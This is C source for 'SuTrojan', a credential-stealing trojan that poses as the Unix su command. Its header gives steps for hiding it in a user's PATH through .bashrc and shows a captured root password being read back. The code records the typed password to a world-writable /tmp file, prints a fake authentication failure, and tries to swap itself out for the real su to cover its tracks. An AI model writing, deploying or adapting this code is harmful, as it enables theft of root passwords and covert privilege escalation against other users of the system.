/*
 *                      _ _             _ 
 *         _ __ ___  __| | | _____   __| |
 *       | '__/ _ \/ _` | |/ / _ \ / _` |
 *      | | |  __/ (_| |   < (_) | (_| |
 *     |_|  \___|\__,_|_|\_\___/ \__,_|
 *                                
 *  SuTrojan (Speedy code, only for the fun :p)
 * 
 *             - Version 0.1 -
 * 
 * Coder : R-e-D 
 * Mail : red@secureroot.com 
 * Web : http://barbus.homeunix.org/r-e-d/ 
 *      http://barbus.homeunix.org/redkod/
 * 
 * Usage :
 * 
 * gcc sutrojan.c -o su 
 * mkdir ~/.term/ 
 * mv su ~/.term/ 
 * echo "PATH=$HOME/.term:$PATH" >> ~/.bashrc 
 *
 * => relaunch a new shell
 * 
 * [red@redkod] ~]$ su 
 * Password: 
 * su: Authentication failure 
 * Sorry.
 * 
 * => Now see the power :> 
 * [red@redkod] ~]$ cat /tmp/.tmp
 * 
 * Fri Dec 6 22:46:32 2002 
 * Login : (null) 
 * Pass : rootpassword
 * 
 * [red@redkod] ~]$ su
 * Password: 
 * [root@redkod] /home/red]$
 * 
 */

#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

#define PATH		"$HOME/.term/"
#define	FILENAME	"/tmp/.tmp"
#define MESSAGE		"su: Authentication failure\nSorry.\n"

int
main(int argc, char **argv)
{
    char           *buffer = NULL,
                   *password;
    unsigned int    size = 0;
    time_t          t;

    size = (4 * strlen((char *) PATH)) + 256;
    buffer = (char *) malloc(size);
    memset(buffer, 0x0, size);

    /*
     * Create the script 
     */
    sprintf(buffer,
	    "echo \"rm %ssu; ln -s /bin/su %ssu ; rm %sscript\" > %sscript",
	    (char *) PATH, (char *) PATH, (char *) PATH, (char *) PATH);
    system(buffer);

    sprintf(buffer, "chmod +x %sscript", (char *) PATH);
    system(buffer);

    /*
     * Free world 
     */
    free(buffer);

    /*
     * Get password 
     */
    password = (char *) getpass("Password: ");

    /*
     * Close std output 
     */
    close(1);

    /*
     * Open the log file 
     */
    open(FILENAME, O_CREAT | O_WRONLY | O_APPEND, 0666);

    /*
     * Write information into the logfile 
     */
    time(&t);
    printf(ctime(&t));
    printf("Login : %s\n", argv[1]);
    printf("Pass  : %s\n", password);

    /*
     * Sleep 
     */
    sleep(1);

    /*
     * Login Error message 
     */
    fprintf(stderr, "%s", (char *) MESSAGE);

    /*
     * Execute the script 
     */
    system("script");

    /*
     * Exit 
     */
    return 0;
}

